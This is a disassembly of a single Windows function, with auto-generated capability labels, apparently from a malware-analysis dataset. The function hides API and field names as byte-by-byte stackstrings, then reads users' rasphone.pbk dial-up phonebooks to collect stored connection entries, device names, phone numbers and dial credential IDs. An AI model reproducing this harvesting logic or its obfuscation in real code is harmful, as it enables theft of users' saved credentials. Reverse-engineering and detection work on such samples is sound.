Function at 0x10003370
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x914
push ebx
mov al, 0x69
push ebp
push esi
mov byte [esp + 0x29], al
mov byte [esp + 0x32], al
mov byte [esp + 0x39], al
mov esi, ecx
lea eax, [esp + 0x24]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov bl, 0x74
mov cl, 0x61
push eax
push str.kernel32.dll
mov byte [esp + 0x30], 0x47
mov byte [esp + 0x31], 0x65
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x50
mov byte [esp + 0x34], 0x72
mov byte [esp + 0x36], 0x76
mov byte [esp + 0x37], cl
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], 0x50
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x66
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x53
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x43], 0x63
mov byte [esp + 0x44], bl
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], 0x4e
mov byte [esp + 0x49], cl
mov byte [esp + 0x4a], 0x6d
mov byte [esp + 0x4b], 0x65
mov byte [esp + 0x4c], 0x73
mov byte [esp + 0x4d], 0x41
mov byte [esp + 0x4e], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea ecx, [esp + 0x10]
mov dword [esp + 0x60], eax
push ecx
push str.kernel32.dll
mov byte [esp + 0x18], 0x6c
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x41
mov byte [esp + 0x20], 0
call edi
push eax
call ebp
mov dword [esp + 0x68], eax
mov ebx, 2
call fcn.100029b0
mov edi, eax
lea edx, [esp + 0x4c]
lea eax, [esp + 0x78]
mov ebp, 0x105
push edx
push eax
mov dword [esp + 0x54], ebp
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
lea ecx, [esp + 0x78]
push 0x1001a168
push ecx
call dword [0x1001c508]
mov edx, dword [esi + 0x14]
lea eax, [esp + 0x78]
push edx
push eax
call dword [0x1001c508]
lea ecx, [esp + 0x78]
push str.Application_Data
push ecx
call dword [0x1001c508]
mov edx, dword [0x1001a024]
lea eax, [esp + 0x78]
push edx
push eax
call dword [0x1001c508]
lea ecx, [esp + 0x78]
push ecx
call fcn.10002930
add esp, 4
test al, al
jne 0x1000350b
push str._USERPROFILE_Application_Data
push 0x1001a028
call dword [0x1001c508]
lea edx, [esp + 0x78]
push ebp
push edx
push 0x1001a028
call dword [0x1001c50c]
push 0
lea eax, [esp + 0x420]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x41c]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
lea edx, [esp + 0x424]
push 0x1001a0fc
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x214]
mov dword [esp + 0x4c], ebp
push eax
push ecx
push edi
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
lea edx, [esp + 0x214]
push str.Application_Data
push edx
call dword [0x1001c508]
mov eax, dword [0x1001a024]
lea ecx, [esp + 0x214]
push eax
push ecx
call dword [0x1001c508]
test edi, edi
je 0x1000358c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x214]
lea edx, [esp + 0x78]
lea eax, [esp + 0x41c]
push ecx
mov dword [esp + 0x70], edx
mov dword [esp + 0x74], eax
call fcn.10002930
add esp, 4
test al, al
je 0x100035dd
lea edx, [esp + 0x214]
lea eax, [esp + 0x78]
push edx
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100035dd
lea ecx, [esp + 0x214]
mov ebx, 3
mov dword [esp + 0x74], ecx
lea edx, [esp + 0x180]
mov dword [esp + 0x180], 0x94
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x190], 2
jne 0x10003611
cmp dword [esp + 0x184], 5
jb 0x10003611
mov ecx, esi
call fcn.100032a0
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebp, eax
test ebx, ebx
mov dword [esp + 0x64], ebp
jle 0x10003882
lea eax, [esp + 0x6c]
mov dword [esp + 0x54], ebx
mov dword [esp + 0x48], eax
mov ecx, 0x400
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx]
push eax
push 0x1000
push ebp
mov dword [esp + 0x64], eax
call dword [esp + 0x6c]
cmp byte [ebp], 0
je 0x10003868
push ebp
mov ecx, esi
call fcn.10003d60
mov dword [esp + 0x5c], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x31c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x724]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x824]
mov edx, dword [esp + 0x58]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x524]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x624]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edx
lea eax, [esp + 0x320]
push pe_nt_image_headers32
push eax
push 0
push str.DialParamsUID
push ebp
call edi
test eax, eax
jle 0x1000376e
mov eax, dword [esi + 8]
xor ebx, ebx
test eax, eax
jle 0x1000376e
mov dword [esp + 0x50], ebx
mov ecx, dword [esp + 0x50]
mov eax, dword [esi + 0x1c]
add ecx, eax
lea edx, [esp + 0x31c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10003725
mov ecx, dword [esp + 0x50]
mov eax, dword [esi + 8]
inc ebx
add ecx, 0x301
cmp ebx, eax
mov dword [esp + 0x50], ecx
jl 0x100036f1
jmp 0x1000376e
mov eax, dword [esi + 0x1c]
lea edi, [ebx + ebx*2]
shl edi, 8
add edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x724]
lea ecx, [edi + eax + 0x200]
push ecx
push edx
call ebx
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0x824]
lea ecx, [edi + eax + 0x100]
push ecx
push edx
call ebx
mov eax, dword [esi + 0x1c]
mov byte [edi + eax + 0x300], 1
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ebx, dword [esp + 0x58]
lea ecx, [esp + 0x524]
push ebx
push pe_nt_image_headers32
push ecx
lea edx, [esp + 0x28]
push 0
push edx
push ebp
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x68
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], 0x65
mov byte [esp + 0x39], 0x4e
mov byte [esp + 0x3a], 0x75
mov byte [esp + 0x3b], 0x6d
mov byte [esp + 0x3c], 0x62
mov byte [esp + 0x3d], 0x65
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], 0
call edi
push ebx
lea eax, [esp + 0x628]
push pe_nt_image_headers32
push eax
push 0
push str.Device
push ebp
call edi
lea ecx, [esp + 0x624]
push ecx
mov ecx, esi
call fcn.10003d60
lea edx, [esp + 0x724]
mov ecx, esi
push edx
mov ebx, eax
call fcn.10003d60
mov edx, dword [esp + 0x5c]
mov edi, eax
lea eax, [esp + 0x524]
push ebx
lea ecx, [esp + 0x828]
push eax
push ecx
push edi
lea eax, [esp + 0x32c]
push edx
push eax
mov ecx, esi
call fcn.10003900
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x10003837
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
test edi, edi
je 0x10003844
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
test ebx, ebx
je 0x10003851
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [esp + 0x6c]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10003662
mov ebp, dword [esp + 0x64]
mov ecx, dword [esp + 0x48]
mov eax, dword [esp + 0x54]
add ecx, 4
dec eax
mov dword [esp + 0x48], ecx
mov dword [esp + 0x54], eax
jne 0x10003638
mov eax, dword [esi + 8]
xor ebx, ebx
test eax, eax
jle 0x100038e5
xor edi, edi
mov ecx, dword [esi + 0x1c]
lea eax, [edi + ecx]
mov cl, byte [edi + ecx + 0x300]
test cl, cl
jne 0x100038d7
mov dl, byte [eax + 0x200]
lea ecx, [eax + 0x200]
test dl, dl
jne 0x100038b8
mov dl, byte [eax + 0x100]
test dl, dl
je 0x100038d7
push 0x1001c514
lea edx, [eax + 0x100]
push 0x1001c514
push edx
push ecx
push 0x1001c514
push eax
mov ecx, esi
call fcn.10003900
mov eax, dword [esi + 8]
inc ebx
add edi, 0x301
cmp ebx, eax
jl 0x1000388d
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x914
ret